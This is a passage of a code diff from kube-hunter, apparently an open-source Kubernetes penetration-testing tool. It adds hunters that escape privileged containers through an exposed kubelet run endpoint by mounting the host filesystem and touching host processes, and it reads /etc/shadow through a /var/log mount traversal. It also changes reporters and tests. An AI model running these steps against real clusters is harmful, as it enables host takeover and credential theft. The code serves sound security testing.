+        number_of_rmdir_attempts,
+        seconds_to_wait_for_os_command,
+        directory_to_create=None,
+    ):
+        if directory_to_create is None:
+            directory_to_create = "/kube-hunter_" + str(uuid.uuid1())
+
+        # /proc/cmdline - This file shows the parameters passed to the kernel at the time it is started.
+        command_line = self.cat_command(run_request_url, "/proc/cmdline")
+
+        if ProveAnonymousAuth.has_no_error_nor_exception(command_line):
+            if len(command_line.split(" ")) > 0:
+                root_value, root_value_type = self.get_root_values(command_line)
+
+                # Move forward only when the "root" variable value was actually defined.
+                if root_value:
+                    if root_value_type:
+                        file_system_or_partition = self.findfs_command(run_request_url, root_value_type, root_value)
+                    else:
+                        file_system_or_partition = root_value
+
+                    if ProveAnonymousAuth.has_no_error_nor_exception(file_system_or_partition):
+                        directory_created = self.mkdir_command(run_request_url, directory_to_create)
+
+                        if ProveAnonymousAuth.has_no_error_nor_exception(directory_created):
+                            directory_created = directory_to_create
+
+                            mounted_file_system_or_partition = self.mount_command(
+                                run_request_url, file_system_or_partition, directory_created
+                            )
+
+                            if ProveAnonymousAuth.has_no_error_nor_exception(mounted_file_system_or_partition):
+                                host_name = self.cat_command(run_request_url, f"{directory_created}/etc/hostname")
+
+                                if ProveAnonymousAuth.has_no_error_nor_exception(host_name):
+                                    return {
+                                        "result": True,
+                                        "file_system_or_partition": file_system_or_partition,
+                                        "directory_created": directory_created,
+                                    }
+
+                                self.umount_command(
+                                    run_request_url,
+                                    file_system_or_partition,
+                                    directory_created,
+                                    number_of_umount_attempts,
+                                    seconds_to_wait_for_os_command,
+                                )
+
+                            self.rmdir_command(
+                                run_request_url,
+                                directory_created,
+                                number_of_rmdir_attempts,
+                                seconds_to_wait_for_os_command,
+                            )
+
+        return {"result": False}
+
+    def execute(self, directory_to_create=None, file_name=None):
+        temp_message = ""
+
+        for exposed_existing_privileged_containers in self.event.exposed_existing_privileged_containers:
+            pod_namespace = exposed_existing_privileged_containers["pod_namespace"]
+            pod_id = exposed_existing_privileged_containers["pod_id"]
+            container_name = exposed_existing_privileged_containers["container_name"]
+
+            run_request_url = self.base_url + f"run/{pod_namespace}/{pod_id}/{container_name}"
+
+            is_exposed_existing_privileged_container_privileged = self.process_exposed_existing_privileged_container(
+                run_request_url,
+                self.number_of_umount_attempts,
+                self.number_of_rmdir_attempts,
+                self.seconds_to_wait_for_os_command,
+                directory_to_create,
+            )
+
+            if is_exposed_existing_privileged_container_privileged["result"]:
+                file_system_or_partition = is_exposed_existing_privileged_container_privileged[
+                    "file_system_or_partition"
+                ]
+                directory_created = is_exposed_existing_privileged_container_privileged["directory_created"]
+
+                # Execute attack attempt: start/modify process in host.
+                attack_successful_on_exposed_privileged_container = self.attack_exposed_existing_privileged_container(
+                    run_request_url,
+                    directory_created,
+                    self.number_of_rm_attempts,
+                    self.seconds_to_wait_for_os_command,
+                    file_name,
+                )
+
+                if attack_successful_on_exposed_privileged_container["result"]:
+                    file_created = attack_successful_on_exposed_privileged_container["file_created"]
+
+                    self.clean_attacked_exposed_existing_privileged_container(
+                        run_request_url,
+                        file_system_or_partition,
+                        directory_created,
+                        file_created,
+                        self.number_of_rm_attempts,
+                        self.number_of_umount_attempts,
+                        self.number_of_rmdir_attempts,
+                        self.seconds_to_wait_for_os_command,
+                    )
+
+                    temp_message += "\n\nPod namespace: {}\n\nPod ID: {}\n\nContainer name: {}".format(
+                        pod_namespace, pod_id, container_name
+                    )
+
+        if temp_message:
+            message = (
+                "The following exposed existing privileged containers"
+                + " have been successfully abused by starting/modifying a process in the host."
+                + temp_message
+            )
+
+            self.event.evidence = f"{message}"
+        else:
+            message = (
+                "The following exposed existing privileged containers"
+                + " were not successfully abused by starting/modifying a process in the host."
+                + "Keep in mind that attackers might use other methods to attempt to abuse them."
+                + temp_message
+            )
+
+            self.event.evidence = f"{message}"
+
+
 @handler.subscribe(ExposedRunHandler)
 class ProveRunHandler(ActiveHunter):
     """Kubelet Run Hunter
@@ -453,18 +1048,22 @@ class ProveRunHandler(ActiveHunter):
             cmd=command,
         )
         return self.event.session.post(
-            f"{self.base_path}/{run_url}", verify=False, timeout=config.network_timeout,
+            f"{self.base_path}/{run_url}",
+            verify=False,
+            timeout=config.network_timeout,
         ).text
 
     def execute(self):
         config = get_config()
         r = self.event.session.get(
-            self.base_path + KubeletHandlers.PODS.value, verify=False, timeout=config.network_timeout,
+            f"{self.base_path}/" + KubeletHandlers.PODS.value,
+            verify=False,
+            timeout=config.network_timeout,
         )
         if "items" in r.text:
             pods_data = r.json()["items"]
             for pod_data in pods_data:
-                container_data = next(pod_data["spec"]["containers"])
+                container_data = pod_data["spec"]["containers"][0]
                 if container_data:
                     output = self.run(
                         "uname -a",
@@ -493,12 +1092,14 @@ class ProveContainerLogsHandler(ActiveHunter):
     def execute(self):
         config = get_config()
         pods_raw = self.event.session.get(
-            self.base_url + KubeletHandlers.PODS.value, verify=False, timeout=config.network_timeout,
+            self.base_url + KubeletHandlers.PODS.value,
+            verify=False,
+            timeout=config.network_timeout,
         ).text
         if "items" in pods_raw:
             pods_data = json.loads(pods_raw)["items"]
             for pod_data in pods_data:
-                container_data = next(pod_data["spec"]["containers"])
+                container_data = pod_data["spec"]["containers"][0]
                 if container_data:
                     container_name = container_data["name"]
                     output = requests.get(
@@ -532,11 +1133,16 @@ class ProveSystemLogs(ActiveHunter):
             f"{self.base_url}/" + KubeletHandlers.LOGS.value.format(path="audit/audit.log"),
             verify=False,
             timeout=config.network_timeout,
-        ).text
+        )
-        logger.debug(f"Audit log of host {self.event.host}: {audit_logs[:10]}")
+
-        # iterating over proctitles and converting them into readable strings
+        # TODO: add more methods for proving system logs
-        proctitles = []
+        if audit_logs.status_code == requests.status_codes.codes.OK:
-        for proctitle in re.findall(r"proctitle=(\w+)", audit_logs):
+            logger.debug(f"Audit log of host {self.event.host}: {audit_logs.text[:10]}")
-            proctitles.append(bytes.fromhex(proctitle).decode("utf-8").replace("\x00", " "))
+            # iterating over proctitles and converting them into readable strings
-        self.event.proctitles = proctitles
+            proctitles = []
-        self.event.evidence = f"audit log: {proctitles}"
+            for proctitle in re.findall(r"proctitle=(\w+)", audit_logs.text):
+                proctitles.append(bytes.fromhex(proctitle).decode("utf-8").replace("\x00", " "))
+            self.event.proctitles = proctitles
+            self.event.evidence = f"audit log: {proctitles}"
+        else:
+            self.event.evidence = "Could not parse system logs"

kube_hunter/modules/hunting/mounts.py

@@ -25,10 +25,14 @@ class WriteMountToVarLog(Vulnerability, Event):
 
     def __init__(self, pods):
         Vulnerability.__init__(
-            self, KubernetesCluster, "Pod With Mount To /var/log", category=PrivilegeEscalation, vid="KHV047",
+            self,
+            KubernetesCluster,
+            "Pod With Mount To /var/log",
+            category=PrivilegeEscalation,
+            vid="KHV047",
         )
         self.pods = pods
-        self.evidence = "pods: {}".format(", ".join((pod["metadata"]["name"] for pod in self.pods)))
+        self.evidence = "pods: {}".format(", ".join(pod["metadata"]["name"] for pod in self.pods))
 
 
 class DirectoryTraversalWithKubelet(Vulnerability, Event):
@@ -37,10 +41,13 @@ class DirectoryTraversalWithKubelet(Vulnerability, Event):
 
     def __init__(self, output):
         Vulnerability.__init__(
-            self, KubernetesCluster, "Root Traversal Read On The Kubelet", category=PrivilegeEscalation,
+            self,
+            KubernetesCluster,
+            "Root Traversal Read On The Kubelet",
+            category=PrivilegeEscalation,
         )
         self.output = output
-        self.evidence = "output: {}".format(self.output)
+        self.evidence = f"output: {self.output}"
 
 
 @handler.subscribe(ExposedPodsHandler)
@@ -82,7 +89,10 @@ class ProveVarLogMount(ActiveHunter):
 
     def run(self, command, container):
         run_url = KubeletHandlers.RUN.value.format(
-            podNamespace=container["namespace"], podID=container["pod"], containerName=container["name"], cmd=command,
+            podNamespace=container["namespace"],
+            podID=container["pod"],
+            containerName=container["name"],
+            cmd=command,
         )
         return self.event.session.post(f"{self.base_path}/{run_url}", verify=False).text
 
@@ -91,7 +101,9 @@ class ProveVarLogMount(ActiveHunter):
         config = get_config()
         logger.debug("accessing /pods manually on ProveVarLogMount")
         pods = self.event.session.get(
-            f"{self.base_path}/" + KubeletHandlers.PODS.value, verify=False, timeout=config.network_timeout,
+            f"{self.base_path}/" + KubeletHandlers.PODS.value,
+            verify=False,
+            timeout=config.network_timeout,
         ).json()["items"]
         for pod in pods:
             volume = VarLogMountHunter(ExposedPodsHandler(pods=pods)).has_write_mount_to(pod, "/var/log")
@@ -117,7 +129,9 @@ class ProveVarLogMount(ActiveHunter):
             path=re.sub(r"^/var/log", "", host_path) + symlink_name
         )
         content = self.event.session.get(
-            f"{self.base_path}/{path_in_logs_endpoint}", verify=False, timeout=config.network_timeout,
+            f"{self.base_path}/{path_in_logs_endpoint}",
+            verify=False,
+            timeout=config.network_timeout,
         ).text
         # removing symlink
         self.run(f"rm {mount_path}/{symlink_name}", container=container)
@@ -134,7 +148,10 @@ class ProveVarLogMount(ActiveHunter):
                 }
                 try:
                     output = self.traverse_read(
-                        "/etc/shadow", container=cont, mount_path=mount_path, host_path=volume["hostPath"]["path"],
+                        "/etc/shadow",
+                        container=cont,
+                        mount_path=mount_path,
+                        host_path=volume["hostPath"]["path"],
                     )
                     self.publish_event(DirectoryTraversalWithKubelet(output=output))
                 except Exception:

kube_hunter/modules/hunting/proxy.py

@@ -23,7 +23,11 @@ class KubeProxyExposed(Vulnerability, Event):
 
     def __init__(self):
         Vulnerability.__init__(
-            self, KubernetesCluster, "Proxy Exposed", category=InformationDisclosure, vid="KHV049",
+            self,
+            KubernetesCluster,
+            "Proxy Exposed",
+            category=InformationDisclosure,
+            vid="KHV049",
         )
 
 
@@ -89,7 +93,9 @@ class ProveProxyExposed(ActiveHunter):
     def execute(self):
         config = get_config()
         version_metadata = requests.get(
-            f"http://{self.event.host}:{self.event.port}/version", verify=False, timeout=config.network_timeout,
+            f"http://{self.event.host}:{self.event.port}/version",
+            verify=False,
+            timeout=config.network_timeout,
         ).json()
         if "buildDate" in version_metadata:
             self.event.evidence = "build date: {}".format(version_metadata["buildDate"])
@@ -107,11 +113,15 @@ class K8sVersionDisclosureProve(ActiveHunter):
     def execute(self):
         config = get_config()
         version_metadata = requests.get(
-            f"http://{self.event.host}:{self.event.port}/version", verify=False, timeout=config.network_timeout,
+            f"http://{self.event.host}:{self.event.port}/version",
+            verify=False,
+            timeout=config.network_timeout,
         ).json()
         if "gitVersion" in version_metadata:
             self.publish_event(
                 K8sVersionDisclosure(
-                    version=version_metadata["gitVersion"], from_endpoint="/version", extra_info="on kube-proxy",
+                    version=version_metadata["gitVersion"],
+                    from_endpoint="/version",
+                    extra_info="on kube-proxy",
                 )
             )

kube_hunter/modules/hunting/secrets.py

@@ -28,7 +28,10 @@ class SecretsAccess(Vulnerability, Event):
 
     def __init__(self, evidence):
         Vulnerability.__init__(
-            self, component=KubernetesCluster, name="Access to pod's secrets", category=AccessRisk,
+            self,
+            component=KubernetesCluster,
+            name="Access to pod's secrets",
+            category=AccessRisk,
         )
         self.evidence = evidence
 

kube_hunter/modules/report/base.py

@@ -7,6 +7,9 @@ from kube_hunter.modules.report.collector import (
     vulnerabilities_lock,
 )
 
+BASE_KB_LINK = "https://avd.aquasec.com/"
+FULL_KB_LINK = "https://avd.aquasec.com/kube-hunter/{vid}/"
+
 
 class BaseReporter:
     def get_nodes(self):
@@ -38,6 +41,7 @@ class BaseReporter:
                     "vulnerability": vuln.get_name(),
                     "description": vuln.explain(),
                     "evidence": str(vuln.evidence),
+                    "avd_reference": FULL_KB_LINK.format(vid=vuln.get_vid().lower()),
                     "hunter": vuln.hunter.get_name(),
                 }
                 for vuln in vulnerabilities
@@ -63,6 +67,4 @@ class BaseReporter:
         if statistics:
             report["hunter_statistics"] = self.get_hunter_statistics()
 
-        report["kburl"] = "https://aquasecurity.github.io/kube-hunter/kb/{vid}"
-
         return report

kube_hunter/modules/report/dispatchers.py

@@ -12,7 +12,10 @@ class HTTPDispatcher:
         dispatch_url = os.environ.get("KUBEHUNTER_HTTP_DISPATCH_URL", "https://localhost/")
         try:
             r = requests.request(
-                dispatch_method, dispatch_url, json=report, headers={"Content-Type": "application/json"},
+                dispatch_method,
+                dispatch_url,
+                json=report,
+                headers={"Content-Type": "application/json"},
             )
             r.raise_for_status()
             logger.info(f"Report was dispatched to: {dispatch_url}")

kube_hunter/modules/report/plain.py

@@ -1,6 +1,6 @@
 from prettytable import ALL, PrettyTable
 
-from kube_hunter.modules.report.base import BaseReporter
+from kube_hunter.modules.report.base import BaseReporter, BASE_KB_LINK
 from kube_hunter.modules.report.collector import (
     services,
     vulnerabilities,
@@ -9,9 +9,8 @@ from kube_hunter.modules.report.collector import (
     vulnerabilities_lock,
 )
 
-EVIDENCE_PREVIEW = 40
+EVIDENCE_PREVIEW = 100
 MAX_TABLE_WIDTH = 20
-KB_LINK = "https://github.com/aquasecurity/kube-hunter/tree/master/docs/_kb"
 
 
 class PlainReporter(BaseReporter):
@@ -60,7 +59,7 @@ class PlainReporter(BaseReporter):
             if service.event_id not in id_memory:
                 nodes_table.add_row(["Node/Master", service.host])
                 id_memory.add(service.event_id)
-        nodes_ret = "\nNodes\n{}\n".format(nodes_table)
+        nodes_ret = f"\nNodes\n{nodes_table}\n"
         services_lock.release()
         return nodes_ret
 
@@ -114,7 +113,7 @@ class PlainReporter(BaseReporter):
         return (
             "\nVulnerabilities\n"
             "For further information about a vulnerability, search its ID in: \n"
-            f"{KB_LINK}\n{vuln_table}\n"
+            f"{BASE_KB_LINK}\n{vuln_table}\n"
         )
 
     def hunters_table(self):

kube_hunter/plugins/__init__.py

@@ -0,0 +1,23 @@
+import pluggy
+
+from kube_hunter.plugins import hookspecs
+
+hookimpl = pluggy.HookimplMarker("kube-hunter")
+
+
+def initialize_plugin_manager():
+    """
+    Initializes and loads all default and setup implementations for registered plugins
+
+    @return: initialized plugin manager
+    """
+    pm = pluggy.PluginManager("kube-hunter")
+    pm.add_hookspecs(hookspecs)
+    pm.load_setuptools_entrypoints("kube_hunter")
+
+    # default registration of builtin implemented plugins
+    from kube_hunter.conf import parser
+
+    pm.register(parser)
+
+    return pm

kube_hunter/plugins/hookspecs.py

@@ -0,0 +1,24 @@
+import pluggy
+from argparse import ArgumentParser
+
+hookspec = pluggy.HookspecMarker("kube-hunter")
+
+
+@hookspec
+def parser_add_arguments(parser: ArgumentParser):
+    """Add arguments to the ArgumentParser.
+
+    If a plugin requires an aditional argument, it should implement this hook
+    and add the argument to the Argument Parser
+
+    @param parser: an ArgumentParser, calls parser.add_argument on it
+    """
+
+
+@hookspec
+def load_plugin(args):
+    """Plugins that wish to execute code after the argument parsing
+    should implement this hook.
+
+    @param args: all parsed arguments passed to kube-hunter
+    """

requirements-dev.txt

@@ -2,7 +2,7 @@
 
 flake8
 pytest >= 2.9.1
-requests-mock
+requests-mock >= 1.8
 coverage < 5.0
 pytest-cov
 setuptools >= 30.3.0
@@ -14,3 +14,4 @@ black
 pre-commit
 flake8-bugbear
 flake8-mypy
+pluggy

setup.cfg

@@ -22,6 +22,8 @@ classifiers =
     Programming Language :: Python :: 3.6
     Programming Language :: Python :: 3.7
     Programming Language :: Python :: 3.8
+    Programming Language :: Python :: 3.9
+    Programming Language :: Python :: 3 :: Only
     Topic :: Security
 
 [options]
@@ -38,6 +40,7 @@ install_requires =
     future
     packaging
     dataclasses
+    pluggy
 setup_requires =
     setuptools>=30.3.0
     setuptools_scm

tests/conf/test_logging.py

@@ -11,12 +11,13 @@ def test_setup_logger_level():
         ("NOTEXISTS", logging.INFO),
         ("BASIC_FORMAT", logging.INFO),
     ]
+    logFile = None
     for level, expected in test_cases:
-        setup_logger(level)
+        setup_logger(level, logFile)
         actual = logging.getLogger().getEffectiveLevel()
         assert actual == expected, f"{level} level should be {expected} (got {actual})"
 
 
 def test_setup_logger_none():
-    setup_logger("NONE")
+    setup_logger("NONE", None)
     assert logging.getLogger().manager.disable == logging.CRITICAL

tests/core/test_cloud.py

@@ -8,7 +8,7 @@ set_config(Config())
 
 
 def test_presetcloud():
-    """ Testing if it doesn't try to run get_cloud if the cloud type is already set.
+    """Testing if it doesn't try to run get_cloud if the cloud type is already set.
     get_cloud(1.2.3.4) will result with an error
     """
     expcted = "AWS"

tests/core/test_handler.py

@@ -28,11 +28,13 @@ from kube_hunter.modules.hunting.dashboard import KubeDashboard
 from kube_hunter.modules.hunting.dns import DnsSpoofHunter
 from kube_hunter.modules.hunting.etcd import EtcdRemoteAccess, EtcdRemoteAccessActive
 from kube_hunter.modules.hunting.kubelet import (
+    ProveAnonymousAuth,
+    MaliciousIntentViaSecureKubeletPort,
+    ProveContainerLogsHandler,
+    ProveRunHandler,
+    ProveSystemLogs,
     ReadOnlyKubeletPortHunter,
     SecureKubeletPortHunter,
-    ProveRunHandler,
-    ProveContainerLogsHandler,
-    ProveSystemLogs,
 )
 from kube_hunter.modules.hunting.mounts import VarLogMountHunter, ProveVarLogMount
 from kube_hunter.modules.hunting.proxy import KubeProxy, ProveProxyExposed, K8sVersionDisclosureProve
@@ -77,6 +79,8 @@ ACTIVE_HUNTERS = {
     ProveVarLogMount,
     ProveProxyExposed,
     K8sVersionDisclosureProve,
+    ProveAnonymousAuth,
+    MaliciousIntentViaSecureKubeletPort,
 }
 
 

tests/discovery/test_apiserver.py

@@ -20,7 +20,9 @@ def test_ApiServer():
         m.get("https://mockOther:443", text="elephant")
         m.get("https://mockKubernetes:443", text='{"code":403}', status_code=403)
         m.get(
-            "https://mockKubernetes:443/version", text='{"major": "1.14.10"}', status_code=200,
+            "https://mockKubernetes:443/version",
+            text='{"major": "1.14.10"}',
+            status_code=200,
         )
 
         e = Event()
@@ -44,11 +46,15 @@ def test_ApiServerWithServiceAccountToken():
     counter = 0
     with requests_mock.Mocker() as m:
         m.get(
-            "https://mockKubernetes:443", request_headers={"Authorization": "Bearer very_secret"}, text='{"code":200}',
+            "https://mockKubernetes:443",
+            request_headers={"Authorization": "Bearer very_secret"},
+            text='{"code":200}',
         )
         m.get("https://mockKubernetes:443", text='{"code":403}', status_code=403)
         m.get(
-            "https://mockKubernetes:443/version", text='{"major": "1.14.10"}', status_code=200,
+            "https://mockKubernetes:443/version",
+            text='{"major": "1.14.10"}',
+            status_code=200,
         )
         m.get("https://mockOther:443", text="elephant")
 
@@ -117,7 +123,7 @@ def test_InsecureApiServer():
 
 # We should only generate an ApiServer event for a response that looks like it came from a Kubernetes node
 @handler.subscribe(ApiServer)
-class testApiServer(object):
+class testApiServer:
     def __init__(self, event):
         print("Event")
         assert event.host == "mockKubernetes"

tests/discovery/test_hosts.py

@@ -90,7 +90,7 @@ class TestDiscoveryUtils:
     def test_generate_hosts_valid_ignore():
         remove = IPAddress("192.168.1.8")
         scan = "192.168.1.0/24"
-        expected = set(ip for ip in IPNetwork(scan) if ip != remove)
+        expected = {ip for ip in IPNetwork(scan) if ip != remove}
 
         actual = set(HostDiscoveryHelpers.generate_hosts([scan, f"!{str(remove)}"]))
 

tests/hunting/test_aks.py

@@ -0,0 +1,56 @@
+# flake8: noqa: E402
+import requests_mock
+
+from kube_hunter.conf import Config, set_config
+
+set_config(Config())
+
+from kube_hunter.modules.hunting.kubelet import ExposedRunHandler
+from kube_hunter.modules.hunting.aks import AzureSpnHunter
+
+
+def test_AzureSpnHunter():
+    e = ExposedRunHandler()
+    e.host = "mockKubernetes"
+    e.port = 443
+    e.protocol = "https"
+
+    pod_template = '{{"items":[ {{"apiVersion":"v1","kind":"Pod","metadata":{{"name":"etc","namespace":"default"}},"spec":{{"containers":[{{"command":["sleep","99999"],"image":"ubuntu","name":"test","volumeMounts":[{{"mountPath":"/mp","name":"v"}}]}}],"volumes":[{{"hostPath":{{"path":"{}"}},"name":"v"}}]}}}} ]}}'
+
+    bad_paths = ["/", "/etc", "/etc/", "/etc/kubernetes", "/etc/kubernetes/azure.json"]
+    good_paths = ["/yo", "/etc/yo", "/etc/kubernetes/yo.json"]
+
+    for p in bad_paths:
+        with requests_mock.Mocker() as m:
+            m.get("https://mockKubernetes:443/pods", text=pod_template.format(p))
+            h = AzureSpnHunter(e)
+            c = h.get_key_container()
+            assert c
+
+    for p in good_paths:
+        with requests_mock.Mocker() as m:
+            m.get("https://mockKubernetes:443/pods", text=pod_template.format(p))
+            h = AzureSpnHunter(e)
+            c = h.get_key_container()
+            assert c == None
+
+    with requests_mock.Mocker() as m:
+        pod_no_volume_mounts = '{"items":[ {"apiVersion":"v1","kind":"Pod","metadata":{"name":"etc","namespace":"default"},"spec":{"containers":[{"command":["sleep","99999"],"image":"ubuntu","name":"test"}],"volumes":[{"hostPath":{"path":"/whatever"},"name":"v"}]}} ]}'
+        m.get("https://mockKubernetes:443/pods", text=pod_no_volume_mounts)
+        h = AzureSpnHunter(e)
+        c = h.get_key_container()
+        assert c == None
+
+    with requests_mock.Mocker() as m:
+        pod_no_volumes = '{"items":[ {"apiVersion":"v1","kind":"Pod","metadata":{"name":"etc","namespace":"default"},"spec":{"containers":[{"command":["sleep","99999"],"image":"ubuntu","name":"test"}]}} ]}'
+        m.get("https://mockKubernetes:443/pods", text=pod_no_volumes)
+        h = AzureSpnHunter(e)
+        c = h.get_key_container()
+        assert c == None
+
+    with requests_mock.Mocker() as m:
+        pod_other_volume = '{"items":[ {"apiVersion":"v1","kind":"Pod","metadata":{"name":"etc","namespace":"default"},"spec":{"containers":[{"command":["sleep","99999"],"image":"ubuntu","name":"test","volumeMounts":[{"mountPath":"/mp","name":"v"}]}],"volumes":[{"emptyDir":{},"name":"v"}]}} ]}'
+        m.get("https://mockKubernetes:443/pods", text=pod_other_volume)
+        h = AzureSpnHunter(e)
+        c = h.get_key_container()
+        assert c == None

tests/hunting/test_apiserver_hunter.py

@@ -56,7 +56,8 @@ def test_AccessApiServer():
     with requests_mock.Mocker() as m:
         m.get("https://mockKubernetes:443/api", text="{}")
         m.get(
-            "https://mockKubernetes:443/api/v1/namespaces", text='{"items":[{"metadata":{"name":"hello"}}]}',
+            "https://mockKubernetes:443/api/v1/namespaces",
+            text='{"items":[{"metadata":{"name":"hello"}}]}',
         )
         m.get(
             "https://mockKubernetes:443/api/v1/pods",
@@ -64,10 +65,12 @@ def test_AccessApiServer():
                             {"metadata":{"name":"podB", "namespace":"namespaceB"}}]}',
         )
         m.get(
-            "https://mockkubernetes:443/apis/rbac.authorization.k8s.io/v1/roles", status_code=403,
+            "https://mockkubernetes:443/apis/rbac.authorization.k8s.io/v1/roles",
+            status_code=403,
         )
         m.get(
-            "https://mockkubernetes:443/apis/rbac.authorization.k8s.io/v1/clusterroles", text='{"items":[]}',
+            "https://mockkubernetes:443/apis/rbac.authorization.k8s.io/v1/clusterroles",
+            text='{"items":[]}',
         )
         m.get(
             "https://mockkubernetes:443/version",
@@ -91,7 +94,8 @@ def test_AccessApiServer():
         # TODO check that these responses reflect what Kubernetes does
         m.get("https://mocktoken:443/api", text="{}")
         m.get(
-            "https://mocktoken:443/api/v1/namespaces", text='{"items":[{"metadata":{"name":"hello"}}]}',
+            "https://mocktoken:443/api/v1/namespaces",
+            text='{"items":[{"metadata":{"name":"hello"}}]}',
         )
         m.get(
             "https://mocktoken:443/api/v1/pods",
@@ -99,7 +103,8 @@ def test_AccessApiServer():
                             {"metadata":{"name":"podB", "namespace":"namespaceB"}}]}',
         )
         m.get(
-            "https://mocktoken:443/apis/rbac.authorization.k8s.io/v1/roles", status_code=403,
+            "https://mocktoken:443/apis/rbac.authorization.k8s.io/v1/roles",
+            status_code=403,
         )
         m.get(
             "https://mocktoken:443/apis/rbac.authorization.k8s.io/v1/clusterroles",
@@ -117,7 +122,7 @@ def test_AccessApiServer():
 
 
 @handler.subscribe(ListNamespaces)
-class test_ListNamespaces(object):
+class test_ListNamespaces:
     def __init__(self, event):
         print("ListNamespaces")
         assert event.evidence == ["hello"]
@@ -130,7 +135,7 @@ class test_ListNamespaces(object):
 
 
 @handler.subscribe(ListPodsAndNamespaces)
-class test_ListPodsAndNamespaces(object):
+class test_ListPodsAndNamespaces:
     def __init__(self, event):
         print("ListPodsAndNamespaces")
         assert len(event.evidence) == 2
@@ -153,7 +158,7 @@ class test_ListPodsAndNamespaces(object):
 
 # Should never see this because the API call in the test returns 403 status code
 @handler.subscribe(ListRoles)
-class test_ListRoles(object):
+class test_ListRoles:
     def __init__(self, event):
         print("ListRoles")
         assert 0
@@ -164,7 +169,7 @@ class test_ListRoles(object):
 # Should only see this when we have a token because the API call returns an empty list of items
 # in the test where we have no token
 @handler.subscribe(ListClusterRoles)
-class test_ListClusterRoles(object):
+class test_ListClusterRoles:
     def __init__(self, event):
         print("ListClusterRoles")
         assert event.auth_token == "so-secret"
@@ -173,7 +178,7 @@ class test_ListClusterRoles(object):
 
 
 @handler.subscribe(ServerApiAccess)
-class test_ServerApiAccess(object):
+class test_ServerApiAccess:
     def __init__(self, event):
         print("ServerApiAccess")
         if event.category == UnauthenticatedAccess:
@@ -186,7 +191,7 @@ class test_ServerApiAccess(object):
 
 
 @handler.subscribe(ApiServerPassiveHunterFinished)
-class test_PassiveHunterFinished(object):
+class test_PassiveHunterFinished:
     def __init__(self, event):
         print("PassiveHunterFinished")
         assert event.namespaces == ["hello"]
@@ -228,10 +233,12 @@ def test_AccessApiServerActive():
         )
         m.post("https://mockKubernetes:443/api/v1/clusterroles", text="{}")
         m.post(
-            "https://mockkubernetes:443/apis/rbac.authorization.k8s.io/v1/clusterroles", text="{}",
+            "https://mockkubernetes:443/apis/rbac.authorization.k8s.io/v1/clusterroles",
+            text="{}",
         )
         m.post(
-            "https://mockkubernetes:443/api/v1/namespaces/hello-namespace/pods", text="{}",
+            "https://mockkubernetes:443/api/v1/namespaces/hello-namespace/pods",
+            text="{}",
         )
         m.post(
             "https://mockkubernetes:443" "/apis/rbac.authorization.k8s.io/v1/namespaces/hello-namespace/roles",
@@ -269,12 +276,12 @@ def test_AccessApiServerActive():
 
 
 @handler.subscribe(CreateANamespace)
-class test_CreateANamespace(object):
+class test_CreateANamespace:
     def __init__(self, event):
         assert "abcde" in event.evidence
 
 
 @handler.subscribe(DeleteANamespace)
-class test_DeleteANamespace(object):
+class test_DeleteANamespace:
     def __init__(self, event):
         assert "2019-02-26" in event.evidence

tests/hunting/test_certificates.py

@@ -37,6 +37,6 @@ rceJuGsnJEQ=
 
 
 @handler.subscribe(CertificateEmail)
-class test_CertificateEmail(object):
+class test_CertificateEmail:
     def __init__(self, event):
         assert event.email == b"build@nodejs.org0"

tests/hunting/test_cvehunting.py

@@ -41,7 +41,7 @@ def test_K8sCveHunter():
 
 
 @handler.subscribe(ServerApiVersionEndPointAccessPE)
-class test_CVE_2018_1002105(object):
+class test_CVE_2018_1002105:
     def __init__(self, event):
         global cve_counter
         cve_counter += 1

tests/hunting/test_kubelet.py

@@ -0,0 +1,721 @@
+import requests
+import requests_mock
+import urllib.parse
+import uuid
+
+from kube_hunter.core.events import handler
+from kube_hunter.modules.hunting.kubelet import (
+    AnonymousAuthEnabled,
+    ExposedExistingPrivilegedContainersViaSecureKubeletPort,
+    ProveAnonymousAuth,
+    MaliciousIntentViaSecureKubeletPort,
+)
+
+counter = 0
+pod_list_with_privileged_container = """{
+  "kind": "PodList",
+  "apiVersion": "v1",
+  "metadata": {},
+  "items": [
+    {
+      "metadata": {
+        "name": "kube-hunter-privileged-deployment-86dc79f945-sjjps",
+        "namespace": "kube-hunter-privileged"
+      },
+      "spec": {
+        "containers": [
+          {
+            "name": "ubuntu",
+            "securityContext": {
+              {security_context_definition_to_test}
+            }
+          }
+        ]
+      }
+    }
+  ]
+}
+"""
+service_account_token = "eyJhbGciOiJSUzI1NiIsImtpZCI6IlR0YmxoMXh..."
+env = """PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
+HOSTNAME=kube-hunter-privileged-deployment-86dc79f945-sjjps
+KUBERNETES_SERVICE_PORT=443
+KUBERNETES_SERVICE_PORT_HTTPS=443
+KUBERNETES_PORT=tcp://10.96.0.1:443
+KUBERNETES_PORT_443_TCP=tcp://10.96.0.1:443
+KUBERNETES_PORT_443_TCP_PROTO=tcp
+KUBERNETES_PORT_443_TCP_PORT=443
+KUBERNETES_PORT_443_TCP_ADDR=10.96.0.1
+KUBERNETES_SERVICE_HOST=10.96.0.1
+HOME=/root"""
+exposed_privileged_containers = [
+    {
+        "container_name": "ubuntu",
+        "environment_variables": env,
+        "pod_id": "kube-hunter-privileged-deployment-86dc79f945-sjjps",
+        "pod_namespace": "kube-hunter-privileged",
+        "service_account_token": service_account_token,
+    }
+]
+cat_proc_cmdline = "BOOT_IMAGE=/boot/bzImage root=LABEL=Mock loglevel=3 console=ttyS0"
+number_of_rm_attempts = 1
+number_of_umount_attempts = 1
+number_of_rmdir_attempts = 1
+
+
+def create_test_event_type_one():
+    anonymous_auth_enabled_event = AnonymousAuthEnabled()
+
+    anonymous_auth_enabled_event.host = "localhost"
+    anonymous_auth_enabled_event.session = requests.Session()
+
+    return anonymous_auth_enabled_event
+
+
+def create_test_event_type_two():
+    exposed_existing_privileged_containers_via_secure_kubelet_port_event = (
+        ExposedExistingPrivilegedContainersViaSecureKubeletPort(exposed_privileged_containers)
+    )
+    exposed_existing_privileged_containers_via_secure_kubelet_port_event.host = "localhost"
+    exposed_existing_privileged_containers_via_secure_kubelet_port_event.session = requests.Session()
+
+    return exposed_existing_privileged_containers_via_secure_kubelet_port_event
+
+
+def test_get_request_valid_url():
+    class_being_tested = ProveAnonymousAuth(create_test_event_type_one())
+
+    with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
+        url = "https://localhost:10250/mock"
+
+        session_mock.get(url, text="mock")
+
+        return_value = class_being_tested.get_request(url)
+
+        assert return_value == "mock"
+
+
+def test_get_request_invalid_url():
